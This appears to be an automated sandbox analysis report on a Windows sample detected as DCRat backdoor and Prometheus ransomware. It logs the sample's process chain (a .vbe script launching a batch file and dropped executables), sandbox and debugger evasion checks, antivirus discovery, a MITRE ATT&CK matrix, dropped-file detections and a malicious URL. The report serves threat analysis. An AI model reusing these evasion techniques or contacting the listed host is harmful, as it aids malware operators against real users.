Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\providerReviewperfsvc\Idle.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\providerReviewperfsvc\Idle.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Memory allocated: 17B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Memory allocated: 1B270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Memory allocated: BF0000 memory reserve \| memory write watch
Source: C:\providerReviewperfsvc\Idle.exe	Memory allocated: 1AA80000 memory reserve \| memory write watch
Source: C:\providerReviewperfsvc\Idle.exe	Memory allocated: BB0000 memory reserve \| memory write watch
Source: C:\providerReviewperfsvc\Idle.exe	Memory allocated: 1A730000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Code function: 0_2_0503327A sldt word ptr [eax]

0_2_0503327A

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 600000
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 599891
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 599781
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Window / User API: threadDelayed 958	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Window / User API: threadDelayed 1164	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Window / User API: threadDelayed 754
Source: C:\providerReviewperfsvc\Idle.exe	Window / User API: threadDelayed 500
Source: C:\providerReviewperfsvc\Idle.exe	Window / User API: threadDelayed 364

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe TID: 1600	Thread sleep count: 958 > 30	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe TID: 1600	Thread sleep count: 1164 > 30	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe TID: 6684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe TID: 6112	Thread sleep count: 754 > 30
Source: C:\providerReviewperfsvc\Idle.exe TID: 6112	Thread sleep count: 500 > 30
Source: C:\providerReviewperfsvc\Idle.exe TID: 6804	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 6804	Thread sleep time: -600000s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 6804	Thread sleep time: -599891s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 6804	Thread sleep time: -599781s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 1824	Thread sleep time: -30000s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 7080	Thread sleep time: -922337203685477s >= -30000s
Source: C:\providerReviewperfsvc\Idle.exe TID: 2188	Thread sleep count: 364 > 30
Source: C:\providerReviewperfsvc\Idle.exe TID: 1804	Thread sleep time: -922337203685477s >= -30000s

Source: C:\providerReviewperfsvc\Idle.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\providerReviewperfsvc\Idle.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\providerReviewperfsvc\Idle.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\providerReviewperfsvc\Idle.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\providerReviewperfsvc\Idle.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Code function: 0_2_0503670F NtQueryInformationProcess,GetSystemInfo,

0_2_0503670F

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 600000
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 599891
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 599781
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477
Source: C:\providerReviewperfsvc\Idle.exe	Thread delayed: delay time: 922337203685477

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior

Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: wscript.exe, 00000002.00000003.2138018677.00000000035D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: jx2eCe6ymR.exe, jx2eCe6ymR.exe, 00000000.00000002.2100951030.0000000000527000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: jx2eCe6ymR.exe, jx2eCe6ymR.exe, 00000000.00000002.2100951030.0000000000527000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: wscript.exe, 00000002.00000003.2138018677.00000000035D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: Idle.exe, 00000025.00000002.2213877521.000000001BA92000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.0000000000527000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: jx2eCe6ymR.exe, 00000000.00000002.2100951030.00000000003E1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: &VBoxService.exe

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe

Thread information set: HideFromDebugger

Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_05035F36 mov eax, dword ptr fs:[00000030h]		0_2_05035F36
Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Code function: 0_2_0503625B mov eax, dword ptr fs:[00000030h]		0_2_0503625B

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Process token adjusted: Debug
Source: C:\providerReviewperfsvc\Idle.exe	Process token adjusted: Debug

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\jx2eCe6ymR.exe	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\providerReviewperfsvc\jW8bFRH7MHNFa6gk2NSgaGKIpk.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\providerReviewperfsvc\hyperIntoruntime.exe "C:\providerReviewperfsvc\hyperIntoruntime.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Process created: unknown unknown	Jump to behavior

Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Queries volume information: C:\providerReviewperfsvc\hyperIntoruntime.exe VolumeInformation	Jump to behavior
Source: C:\providerReviewperfsvc\hyperIntoruntime.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\providerReviewperfsvc\Idle.exe	Queries volume information: C:\providerReviewperfsvc\Idle.exe VolumeInformation
Source: C:\providerReviewperfsvc\Idle.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\providerReviewperfsvc\Idle.exe	Queries volume information: C:\providerReviewperfsvc\Idle.exe VolumeInformation

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Idle.exe, 00000025.00000002.2213877521.000000001BA92000.00000004.00000020.00020000.00000000.sdmp, Idle.exe, 00000025.00000002.2213877521.000000001BA60000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\providerReviewperfsvc\Idle.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\providerReviewperfsvc\Idle.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2177868968.0000000003271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2177868968.000000000366C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2265382681.0000000002731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2205565303.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178660270.000000001327F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperIntoruntime.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Idle.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Idle.exe PID: 5268, type: MEMORYSTR

Remote Access Functionality

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.2177868968.0000000003271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2177868968.000000000366C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2265382681.0000000002731000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2205565303.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178660270.000000001327F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: hyperIntoruntime.exe PID: 1364, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Idle.exe PID: 6412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Idle.exe PID: 5268, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	241 Windows Management Instrumentation	1 Scheduled Task/Job	11 Process Injection	123 Masquerading	OS Credential Dumping	341 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	11 Scripting	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	Security Account Manager	261 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	113 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	35 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
jx2eCe6ymR.exe	84%	ReversingLabs	ByteCode-MSIL.Backdoor.DCRat
jx2eCe6ymR.exe	100%	Avira	VBS/Runner.VPG
jx2eCe6ymR.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\providerReviewperfsvc\82mN47a0TiFi3a9eGnk.vbe	100%	Avira	VBS/Runner.VPG
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Windows\twain_32\backgroundTaskHost.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Users\user\AppData\Local\Temp\rIyUTfpTbB.bat	100%	Avira	BAT/Delbat.C
C:\providerReviewperfsvc\Idle.exe	100%	Avira	HEUR/AGEN.1323984
C:\providerReviewperfsvc\hyperIntoruntime.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Avira	HEUR/AGEN.1323984
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Windows\twain_32\backgroundTaskHost.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\providerReviewperfsvc\Idle.exe	100%	Joe Sandbox ML
C:\providerReviewperfsvc\hyperIntoruntime.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Java\jre-1.8\bin\plugin2\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Adobe\Acrobat DC\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Windows Media Player\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Program Files\Windows Photo Viewer\en-GB\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\ProgramData\USOShared\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\RuntimeBroker.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Recovery\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\Default\AppData\Roaming\Microsoft\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Users\Default\Downloads\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Windows\System32\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\Windows\twain_32\backgroundTaskHost.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\providerReviewperfsvc\Idle.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\providerReviewperfsvc\hyperIntoruntime.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus
C:\providerReviewperfsvc\nEuTyBtWAvjkYQrIMhtZWE.exe	88%	ReversingLabs	ByteCode-MSIL.Ransomware.Prometheus

Source	Detection	Scanner	Label
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://a1000454.xsph.ru/@==gbJBzYuFDT	100%	Avira URL Cloud	malware
